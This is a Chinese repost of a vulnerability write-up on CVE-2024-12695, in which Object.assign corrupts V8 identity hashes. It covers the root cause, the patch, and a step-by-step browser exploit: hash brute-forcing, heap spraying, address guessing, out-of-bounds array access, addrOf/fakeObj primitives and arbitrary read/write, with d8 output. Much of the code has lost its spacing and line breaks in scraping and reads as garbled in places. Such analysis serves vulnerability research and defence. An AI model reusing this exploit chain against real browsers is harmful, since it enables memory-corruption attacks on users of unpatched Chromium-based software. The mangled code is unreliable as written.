剖析 CVE-2024-12695:利用 V8 中的 Object.assign()

admin 2025年6月26日01:14:14评论2 views字数 17592阅读58分38秒阅读模式
剖析 CVE-2024-12695:利用 V8 中的 Object.assign()

介绍

错误383647255于 2024 年 12 月 12 日报告给 Chromium 错误跟踪器。

在本文中,我们将研究此漏洞的根本原因,并演示如何利用该漏洞在 Chrome 和其他基于 Chromium 的浏览器使用的 JavaScript 引擎 V8 中实现任意读/写访问。

对象和哈希

当 JavaScript 对象需要哈希值时(例如,用作 WeakMap 中的键),V8 会使用该GenerateIdentityHash函数生成一个随机哈希值。该哈希值存储在对象的raw_properties_or_hash字段中:

Tagged<Smi> JSReceiver::CreateIdentityHash(Isolate* isolate,                                           Tagged<JSReceiver> key) {  int hash = isolate->GenerateIdentityHash(PropertyArray::HashField::kMax);  key->SetIdentityHash(hash);return Smi::FromInt(hash);}int Isolate::GenerateIdentityHash(uint32_t mask) {  int hash;  int attempts = 0;do {hash = random_number_generator()->NextInt() & mask;  } while (hash == 0 && attempts++ < 30);returnhash != 0 ? hash : 1;}void JSReceiver::SetIdentityHash(int hash) {  Tagged<HeapObject> existing_properties =      Cast<HeapObject>(raw_properties_or_hash());  Tagged<Object> new_properties =      SetHashAndUpdateProperties(existing_properties, hash);  set_raw_properties_or_hash(new_properties, kRelaxedStore);}

哈希值通常是在对象第一次在需要它的上下文中使用时生成的,比如在以下情况中用作键WeakMap:

let obj = {};%DebugPrint(obj);// - elements: 0x0354000007bd <FixedArray[0]> [HOLEY_ELEMENTS]// - properties: 0x0354000007bd <FixedArray[0]>let weakMap = new WeakMap();weakMap.set(obj, 'test');%DebugPrint(obj);// - elements: 0x0354000007bd <FixedArray[0]> [HOLEY_ELEMENTS]// - hash: 199759// - properties:

一旦哈希值被分配给对象,它就固定不变:永远不会重新生成或更新。这种持久身份对于确保对象在未来的操作中能够可靠地充当密钥至关重要。

print(weakMap.has(obj)); // true

漏洞

Object.assign(target, src)如果使用 samesrc和 same调用两次target,它可能会意外覆盖 src 对象的内部身份哈希:

let obj = {};let weakMap = newWeakMap();weakMap.set(obj, 'test');% DebugPrint(obj); // hash: 199759print(weakMap.has(obj)); // returns trueObject.assign(obj, {}); // Runtime_ObjectAssignTryFastcaseObject.assign(obj, {}); // FastCloneJSObject% DebugPrint(obj); // properties: 0x0c0c000007bd <FixedArray[0]>print(weakMap.has(obj)); // returns false

首次调用时,Object.assign触发Runtime_ObjectAssignTryFastCase运行时函数。在内部,这会在目标对象中设置一个侧向转换 ( target),并修改其内部结构:

// src/builtins/builtins-object-gen.cc// ES #sec-object.assignTF_BUILTIN(ObjectAssign, ObjectBuiltinsAssembler) {//...// First check if we have a transition array.  TNode<MaybeObject> maybe_transitions = LoadMaybeWeakObjectField(      from_map, Map::kTransitionsOrPrototypeInfoOffset);  TNode<HeapObject> maybe_transitions2 =      GetHeapObjectIfStrong(maybe_transitions, &runtime_map_lookup);  GotoIfNot(IsTransitionArrayMap(LoadMap(maybe_transitions2)),            &runtime_map_lookup);  TNode<WeakFixedArray> transitions = CAST(maybe_transitions2);  TNode<Object> side_step_transitions = CAST(LoadWeakFixedArrayElement(      transitions,      IntPtrConstant(TransitionArray::kSideStepTransitionsIndex)));  GotoIf(TaggedIsSmi(side_step_transitions), &runtime_map_lookup);//...// Jump there because no transition array is available  BIND(&runtime_map_lookup);  TNode<HeapObject> maybe_clone_map =      CAST(CallRuntime(Runtime::kObjectAssignTryFastcase, context, from, to)); // Runtime_ObjectAssignTryFastcase  GotoIf(TaggedEqual(maybe_clone_map, UndefinedConstant()), &slow_path);  GotoIf(TaggedEqual(maybe_clone_map, TrueConstant()), &done_fast_path); // Jump over fast path}

由于这种新的结构,第二次Object.assign调用可以采用快速路径,绕过较慢的运行时回退。它调用了FastCloneJSObject,从而错误地覆盖了该raw_properties_or_hash字段。它没有保留现有的身份哈希,而是将其替换为属性数组的地址:

// src/builtins/builtins-object-gen.cc// ES #sec-object.assignTF_BUILTIN(ObjectAssign, ObjectBuiltinsAssembler) {//...  FastCloneJSObject(from, from_map, clone_map.value(), /* materialize_target = */    [&](TNode<Map> map, TNode<Union<FixedArray, PropertyArray>> properties,        TNode<FixedArray> elements) {      StoreMap(to, clone_map.value());      StoreJSReceiverPropertiesOrHash(to, properties); // Overwrite hash with var_properties      StoreJSObjectElements(CAST(to), elements);return to;    },false);//...}// src/codegen/code-stub-assembler-inl.hTNode<Object> CodeStubAssembler::FastCloneJSObject(    TNode<HeapObject> object, TNode<Map> source_map, TNode<Map> target_map,constFunction& materialize_target, bool target_is_new) {//...  TNode<PropertyArray> property_array = AllocatePropertyArray(length);  FillPropertyArrayWithUndefined(property_array, IntPtrConstant(0), length);  CopyPropertyArrayValues(source_property_array, property_array, length,                          SKIP_WRITE_BARRIER, DestroySource::kNo);  var_properties = property_array;//...  TNode<JSReceiver> target = materialize_target(      target_map, var_properties.value(), var_elements.value());//...}

结果,对象的身份哈希实际上丢失了。这是意料之外的行为,因为 V8(以及一些 JavaScript API,例如WeakMap)假设身份哈希一旦设置,就会在对象的整个生命周期内保持稳定。

将无效哈希转化为漏洞

WeakMap并非唯一依赖对象身份哈希的 API:FinalizationRegistry也是如此。

当注册到 的对象FinalizationRegistry被垃圾回收时,最终会触发相关的回调:

let target = {};let unregister_token = {};let registry = new FinalizationRegistry(() => {  print("Callback called");});registry.register(target, undefined, unregister_token);target = null;Array.from({ length: 50000 }, () => () => { }); // stress the memorygc({ type"major" });

我们感兴趣的部分是unregister_token参数。当你使用 注册一个对象时FinalizationRegistry,V8 会为 分配一个哈希值unregister_token(如果它还没有哈希值)。这个哈希值存储在内部,以便 V8 稍后在垃圾回收期间可以查找它。

%DebugPrint(unregister_token); // hash: 453078

那么,如果我们在垃圾回收之前破坏了对象的哈希值,会发生什么呢?

让我们尝试一下:

let target = {};let unregister_token = {};let registry = new FinalizationRegistry(() => {  print("Callback called");});registry.register(target, undefined, unregister_token);Object.assign(unregister_token, {});Object.assign(unregister_token, {});target = null;gc({ type"major" });

尽管表面上看起来什么都没发生,但你现在已经破坏了key_map支持 的内部机制FinalizationRegistry。如果你再次注册同一个令牌,可能会导致进程崩溃:

let target = {};let unregister_token = {};let registry = new FinalizationRegistry(() => {  print("Callback called");});registry.register(target, undefined, unregister_token);registry.register(target, undefined, unregister_token);Object.assign(unregister_token, {});Object.assign(unregister_token, {});target = null;gc({ type"major" });

当垃圾收集器运行时,它最终会调用RemoveCellFromUnregisterTokenMap,它会尝试使用删除现在已收集的对象的条目unregister_token:

void JSFinalizationRegistry::RemoveCellFromUnregisterTokenMap(    Isolate* isolate, Tagged<WeakCell> weak_cell) {  Tagged<Undefined> undefined = ReadOnlyRoots(isolate).undefined_value();if (IsUndefined(weak_cell->key_list_prev(), isolate)) {    Tagged<SimpleNumberDictionary> key_map =        Cast<SimpleNumberDictionary>(this->key_map());    Tagged<HeapObject> unregister_token = weak_cell->unregister_token();    uint32_t key = Smi::ToInt(Object::GetHash(unregister_token));    InternalIndex entry =        key_map->FindEntry(isolate, key); // returns kNotFound = -1    DCHECK(entry.is_found());if (IsUndefined(weak_cell->key_list_next(), isolate)) {      key_map->ClearEntry(entry);      key_map->ElementRemoved();    }//...  }//...}

由于 的身份哈希unregister_token被不相关的内容(例如指向属性数组的指针)覆盖,Object::GetHash()返回的值与 中任何现有条目均不对应key_map。因此,FindEntry()返回 -1。

现在到了关键部分:V8 假设哈希值稳定且有效,因此它不会检查错误的索引。这会导致ClearEntry(-1)被调用:

void Dictionary<Derived, Shape>::ClearEntry(InternalIndex entry) {  Tagged<Object> the_hole = GetReadOnlyRoots().the_hole_value();  PropertyDetails details = PropertyDetails::Empty();  Cast<Derived>(this)->SetEntry(entry, the_hole, the_hole, details);}

这最终会将特殊标记THE_HOLE(通常为 0x3ec)写入无效位置,从而破坏元数据(例如已删除条目的数量和地图的内部容量)。

staticconstint kNumberOfElementsIndex = 0;staticconstint kNumberOfDeletedElementsIndex = 1;staticconstint kCapacityIndex = 2;staticconstint kPrefixStartIndex = 3;
剖析 CVE-2024-12695:利用 V8 中的 Object.assign()

开发

第一个原语:回收损坏的容量

在这个阶段,我们已经成功破坏了内部JSFinalizationRegistry::key_map,使其相信它的容量比实际的要大。

现在的目标是回收并控制多余的(伪)容量,方法是将我们自己的数据结构小心地放置在与损坏的映射直接相邻的内存中。具体来说,我们希望在内存中连续分配一个伪哈希映射,与超出范围的映射重叠key_map:

// Store a hash in unreg_tokenp.registry = new FinalizationRegistry(gcTriggered);p.registry.register(target, undefined, unreg_token);// Spray our fake hashmap after JSFinalizationRegistry::key_mapp.spray = [];for (let i = 0; i < 1000; i++) {  p.spray.push(uint64ToFloat((BigInt(0x11) << 1n) | (0x11n << 32n)));}

我们从损坏的键/值对开始,key_map将其全部初始化为undefined(V8 的标记表示中为 0x11)。这实际上模拟了内存中一个空的哈希映射。

剖析 CVE-2024-12695:利用 V8 中的 Object.assign()

然而,要对这个畸形的 Map 进行任何有用的操作register(),unregister()我们需要通过它们的哈希键与条目进行交互。挑战在于这些哈希值是由 V8 随机生成的(使用GenerateIdentityHash),所以我们事先无法知道它们。

但这里有个诀窍:我们不需要猜测确切的哈希值,我们可以简单地强行破解它。

暴力破解有效哈希

unreg_token我们的目标是恢复在调用 时赋给 的有效哈希值registry.register()。由于我们无法直接访问该哈希值(它存储在 V8 内部),因此我们将对其进行暴力破解。

首先,我们生成大量对象(例如 1000 个),并期望每个对象都被分配一个不同的身份哈希值。虽然可能会发生冲突,但这对于我们的目的来说没有问题:

// Generate 1000 empty object with hasheslet reg = new FinalizationRegistry(() => { });let tokens_with_hash = [];for (let i = 0; i < 1000; i++) {  tokens_with_hash.push({});  reg.register(tokens_with_hash[i], undefined, tokens_with_hash[i]);}

现在, 中的每个对象tokens_with_hash都有一个唯一的(或几乎唯一的)哈希值。当我们unregister()使用给定的 token 调用时,V8 会在内部尝试使用 在哈希映射中查找关联的条目Object::GetHash(token)。如果找到匹配项,它会将键替换为THE_HOLE:

bool JSFinalizationRegistry::RemoveUnregisterToken(/*...*/) {//...  key_map->ClearEntry(entry);//...}void Dictionary<Derived, Shape>::ClearEntry(InternalIndex entry) {  Tagged<Object> the_hole = GetReadOnlyRoots().the_hole_value();  PropertyDetails details = PropertyDetails::Empty();  Cast<Derived>(this)->SetEntry(entry, the_hole, the_hole, details);}

因此,我们通过调用尝试每个令牌,unregister()直到其中一个令牌修改了损坏的内存。这就是我们检测哈希匹配的方法:

/** Returns trueif the p.spray has been overwritten */function sprayIsCorrupted(hash) {for (let i = 0; i < p.spray.length; i++) {    const expected_value = uint64ToFloat((BigInt(hash) << 1n) | (0x11n << 32n))if (p.spray[i] != expected_value) {returntrue;    }  }returnfalse;}let valid_hash = -1;for (lethash = 1; hash < 0x10000; hash++) {for (let i = 0; i < p.spray.length; i++) {    p.spray[i] = uint64ToFloat((BigInt(hash) << 1n) | (0x11n << 32n));  }for (let i = 0; i < tokens_with_hash.length; i++) {    p.registry.unregister(tokens_with_hash[i]);  }  const corrupted = sprayIsCorrupted(hash);if (corrupted) {print(`Found the hash 0x${hash.toString(16)}!`);    valid_hash = hash;break;  }}
剖析 CVE-2024-12695:利用 V8 中的 Object.assign()

如果我们的喷射对象在某个调用之后被破坏,则意味着该令牌的哈希值已成功匹配和使用,这证实了它是我们损坏的有效哈希值key_map。

sprayIsCorrupted()现在我们只需要识别它是哪个令牌。一个方案是在每次调用后都运行unregister(),但成本很高。相反,将暴力破解过程分为两个步骤会更高效:

  1. 首先,找出有效的哈希值是否存在(如上)。

  2. 然后,检查受影响的对象:

// Search which object have this hash// Unregister each token with the same hash until we corrupt p.spraylet valid_token_index = -1;for (let token_index = 0; token_index < tokens_with_hash.length; token_index++) {for (let i = 0; i < p.spray.length; i++) {    p.spray[i] = uint64ToFloat((BigInt(valid_hash) << 1n) | (0x11n << 32n));  }  p.registry.unregister(tokens_with_hash[token_index]);  const corrupted = sprayIsCorrupted(valid_hash);if (corrupted) {print(`The object at index ${token_index} has the hash 0x${valid_hash.toString(16)}`);    valid_token_index = token_index;break;  }}

瞧——我们现在有一个已知的、有效的哈希值与特定的对象绑定在一起:

p.token_hash = valid_hash;p.token = tokens_with_hash[valid_token_index];

不受控制的任意写入

当你调用register()FinalizationRegistry 时,V8 会在内部调用RegisterWeakCellWithUnregisterToken():

// src/objects/js-weak-refs-inl.hvoid JSFinalizationRegistry::RegisterWeakCellWithUnregisterToken(/*...*/) {//...  uint32_t key =      Object::GetOrCreateHash(weak_cell->unregister_token(), isolate).value();  InternalIndex entry = key_map->FindEntry(isolate, key);if (entry.is_found()) {    Tagged<Object> value = key_map->ValueAt(entry);    Tagged<WeakCell> existing_weak_cell = Cast<WeakCell>(value);    existing_weak_cell->set_key_list_prev(*weak_cell);    weak_cell->set_key_list_next(existing_weak_cell);  }//...}// src/objects/js-weak-refs.tqextern classWeakCellextendsHeapObject{  finalization_registry: Undefined|JSFinalizationRegistry;  target: Undefined|JSReceiver|Symbol;  unregister_token: Undefined|JSReceiver|Symbol;  holdings: JSAny;  prev: Undefined|WeakCell;  next: Undefined|WeakCell;  key_list_prev: Undefined|WeakCell;  key_list_next: Undefined|WeakCell;}

unregister_token因为我们知道哈希值以及它所绑定的确切对象,所以我们可以entry.is_found()在注册过程中确保它是正确的。这使我们能够命中将指针写入现有 的代码路径WeakCell。

诀窍在于:我们可以完全控制 的地址existing_weak_cell,V8 会将其视为与我们伪造的条目关联的值。但是,我们无法控制写入的值。该值是一个新分配的WeakCell,一个真实有效的 V8 对象。

for (let i = 0; i < p.spray.length; i++) {  p.spray[i] = uint64ToFloat((BigInt(p.token_hash) << 1n) | (BigInt(addr) << 32n));}p.registry.register({}, undefined, p.token);
剖析 CVE-2024-12695:利用 V8 中的 Object.assign()

因此,当register()被调用时,V8 将在以下位置执行写入:

existing_weak_cell + offsetof(key_list_prev)

这为我们提供了一个“写入什么-在哪里”的原语,尽管我们只能控制“在哪里”,而不能控制“什么”。写入的值始终是一个有效的WeakCell指针(即 V8 堆对象),这很有用,但仍然有限。

泄露地址并获取越界读写

就本节而言,我还没有找到一种优雅的方法来泄漏地址。但是,我们可以利用堆沙箱环境。由于沙箱架构的原因,所有地址都表示为相对于沙箱基址的 DWORD 偏移量。

通过我的测试,我始终观察到巨大的数组分配最终会以类似的偏移量结束:

// Spray something useful to corruptp.spray2 = [];for (let i = 0; i < 10000; i++) {  p.spray2.push(uint64ToFloat(0x4040404040404040n));}

这种可预测的行为使我们能够强行破解目标地址:

/** Try to find the spray2 address */functionfindSpray2Addr({// let spray2_addr = 0x14b000;let spray2_addr = 0x18b000// GDBlet first_offset_changed = -1;let spray64 = new BigUint64Array(p.spray.length);let spray8 = newUint8Array(spray64.buffer);// % DebugPrint(p.spray2);for (spray2_addr; spray2_addr < 0x200000; spray2_addr += 0x1000) {// Set a valid pointer at spray2_addrfor (let i = 0; i < p.spray.length; i++) {      p.spray[i] = uint64ToFloat((BigInt(p.token_hash) << 1n) | (BigInt(spray2_addr) << 32n));    }    p.registry.register({}, undefined, p.token);// Create a spray2's memory viewfor (let i = 0; i < p.spray2.length; i++) {      spray64[i] = floatToUint64(p.spray2[i]);    }// Look for the overwritten value    first_offset_changed = -1;for (let i = 0; i < spray8.length; i++) {if (spray8[i] != 0x40) {        first_offset_changed = i;break;      }    }if (first_offset_changed != -1) {break;    }  }if (first_offset_changed == -1) {    print("Failed to overwrite spray2");returnfalse;  }// Now we can calculate the real spray2 address  p.spray2_addr = spray2_addr - first_offset_changed + 3;  print(`spray2_addr = 0x${p.spray2_addr.toString(16)}`);returntrue;}

这是漏洞利用中唯一缺乏完美稳定性的部分。可以通过更复杂的堆操作技术或寻找其他地址泄露原语来提高其可靠性。至于如何增强这方面,留给感兴趣的读者作为练习吧。

利用我们新获得的地址泄漏,我们现在可以破坏spray2数组的元素大小字段:

functiongetSpray2Oob({  spray2_length_addr = p.spray2_addr + 0x14;  print(`spray2_length_addr = 0x${spray2_length_addr.toString(16)}`);// Try to set the elements.length to a new value. It doesn't update the array.length!for (let i = 0; i < p.spray.length; i++) {    p.spray[i] = uint64ToFloat((BigInt(p.token_hash) << 1n) | (BigInt(spray2_length_addr - 6 * 4 - 2) << 32n));  }  p.registry.register({}, undefined, p.token);// Update the length from 10000 to 0x20000  p.spray2.length = 0x20000;  print(`spray2.length = 0x${p.spray2.length.toString(16)}`);// Check if we can OOB readfor (let i = 10100; i < 10400; i++) {if (p.spray2[i] !== undefined) {returntrue;    }  }returnfalse;}

这种操作将我们控制的数组转变为强大的越界读写原语,为下一步的利用奠定了基础。

任意读写

至此,得益于数组,我们已经拥有了强大的越界读写能力PACKED_DOUBLE_ELEMENTS spray2。现在我们将实现addrOf()和fakeObj()原语。

首先,让我们喷射第三个数组,这次使用PACKED_ELEMENTS:

// An object which will be used for arbitrary read-writep.spray3 = [{}];for (let i = 0; i < 100; i++) {  p.spray3.push(13.37 + 0.1 * i);}

接下来,我们需要找到它相对于spray2数组的位置:

functionlocateSpray3({// We have an OOB with spray2. Locate spray3.// Dump the memorylet spray64 = new BigUint64Array(p.spray2.length);for (let i = 0; i < 10400; i++) {    spray64[i] = floatToUint64(p.spray2[i]);  }  p.spray3[0] = 1337.42;let index_changed = -1;for (let i = 0; i < 10400; i++) {if (spray64[i] != floatToUint64(p.spray2[i])) {      index_changed = i;break;    }  }if (index_changed == -1) {returnfalse;  }  p.spray3_index = index_changed;  print(`spray3_index = 0x${p.spray3_index}`);returntrue;}

这使我们处于经典的利用场景中,其中PACKED_DOUBLE_ELEMENTS数组可以控制数组的内容PACKED_ELEMENTS:

functionbuildAddrofFakeobj({  p.addrOf = (obj) => {    p.spray3[0] = obj;returnNumber(floatToUint64(p.spray2[p.spray3_index]) >> 32n) - 1;  };  p.fakeObj = (addr) => {    p.spray2[p.spray3_index] = uint64ToFloat(BigInt(addr) << 32n);return p.spray3[0];  };  print("addrOf() and fakeObj() ready");returntrue;}
剖析 CVE-2024-12695:利用 V8 中的 Object.assign()

通常在这个阶段,大多数漏洞利用都会转向 WebAssembly,以实现可靠的代码任意读写。但是,由于我希望继续留在d8环境中,因此我构造了一个伪造的对象:

functionbuildArbitraryRw({// We will now use the spray2 (because we know its address) to make a fake objconst fakeobj_addr = p.spray2_addr + 0x100 + 1;const fakeobj_index = 29;  print(`fakeobj_addr = 0x${fakeobj_addr.toString(16)}`);// Create a helper to set WORD valuesfunctionfakeObjSet(uint32_index, uint32_value{let uint64_index = fakeobj_index + Math.trunc(uint32_index / 2);let uint64_value = floatToUint64(p.spray2[uint64_index]);if (uint32_index & 1) {      uint64_value = (uint64_value & 0xFFFFFFFFn) | (BigInt(uint32_value) << 32n);    } else {      uint64_value = (uint64_value & 0xFFFFFFFF00000000n) | BigInt(uint32_value);    }    p.spray2[uint64_index] = uint64ToFloat(uint64_value);  }  fakeObjSet(00x0004cee5n); // Map[16](PACKED_DOUBLE_ELEMENTS)  fakeObjSet(10x000007bdn); // properties  fakeObjSet(20x00000001n); // elements  fakeObjSet(30xf0000000n); // length << 1// Build the arbitrary read-write  p.arbObj = p.fakeObj(fakeobj_addr);// % DebugPrint(p.arbObj);  p.arbRead = (addr) => {return floatToUint64(p.arbObj[Math.trunc(addr / 8) - 1]);  }  p.arbWrite = (addr, value) => {    p.arbObj[Math.trunc(addr / 8) - 1] = uint64ToFloat(BigInt(value));  }returntrue;}

创建一个PACKED_DOUBLE_ELEMENTS大小为0x78000000且从沙盒偏移量 0 开始的数组,足以满足大多数用例的需求。让我们进行一个快速测试,验证新的原语是否正常工作:

let spray_addr = p.addrOf(p.spray);print(`spray_addr = 0x${spray_addr.toString(16)}`);for (let i = 0; i < p.spray.length; i++) {  p.spray[i] = 0;}print("Call arbWrite(spray_addr + 0x100, 0xdeadbeefcafecafen)");p.arbWrite(spray_addr + 0x100, 0xdeadbeefcafecafen);let value_read = p.arbRead(spray_addr + 0x100);print(`arbRead(spray_addr + 0x100) = 0x${value_read.toString(16)}`);for (let i = 0; i < 100; i++) {  const value = floatToUint64(p.spray[i]);if (value != 0) {print(`spray[${i}] = ${value.toString(16)}`)  }}

输出表明任意读写操作成功:

$ out/x64.release/d8 --allow-natives-syntax --expose-gc poc.jsFound the hash 0xaac!The object at index962has the hash 0xaacspray2_addr = 0x14b1f0spray2_length_addr = 0x14b204spray2.length = 0x20000spray3_index = 0x10167addrOf() and fakeObj() readyfakeobj_addr = 0x14b2f1spray_addr = 0x1488c0Call arbWrite(spray_addr + 0x100, 0xdeadbeefcafecafen)arbRead(spray_addr + 0x100) = 0xdeadbeefcafecafespray[29] = deadbeefcafecafe

补丁分析

该补丁引入了一项重要的验证检查,以防止该漏洞。具体来说,它添加了一项验证,以确保在继续执行快速路径之前,属性中不存在哈希值:

// src/builtins/builtins-object-gen.cc// ES #sec-object.assignTF_BUILTIN(ObjectAssign, ObjectBuiltinsAssembler) {//...// Ensure the properties field is not used to store a hash.  TNode<Object> properties = LoadJSReceiverPropertiesOrHash(to);  GotoIf(TaggedIsSmi(properties), &slow_path);Label continue_fast_path(this), runtime_map_lookup(this, Label::kDeferred);//...}

此外,在 中RemoveCellFromUnregisterTokenMap,DCHECK(entry.is_found())断言已更改为发布模式CHECK。即使攻击者设法通过某种方式删除哈希,ClearEntry(-1)由于验证的改进,该操作也将不再发生

结论

您可以在此处找到完整的漏洞利用代码。

这项分析展示了 V8 复杂优化管道中即使是细微的 bug 也能导致可利用的场景。JavaScript 引擎数组处理过程中,最初看似轻微的边界检查疏忽,却可能演变成强大的内存破坏原语,使攻击者能够在渲染进程中实现任意读写操作。

下一步将是开发堆沙箱绕过技术,以获得对整个渲染器进程内存空间的不受限制的读/写访问权限。然而,这样的研究需要一篇专门的博客文章来深入探讨各种绕过技术及其实现细节。

如果您热衷于解决浏览器安全中最具挑战性的问题(从 V8 内部到沙盒逃逸),并希望与同样致力于技术卓越的研究人员一起工作,请考虑与 Bugscale 的团队一起探索机会。

原文始发于微信公众号(Ots安全):剖析 CVE-2024-12695:利用 V8 中的 Object.assign()

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年6月26日01:14:14
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   剖析 CVE-2024-12695:利用 V8 中的 Object.assign()https://cn-sec.com/archives/4201129.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息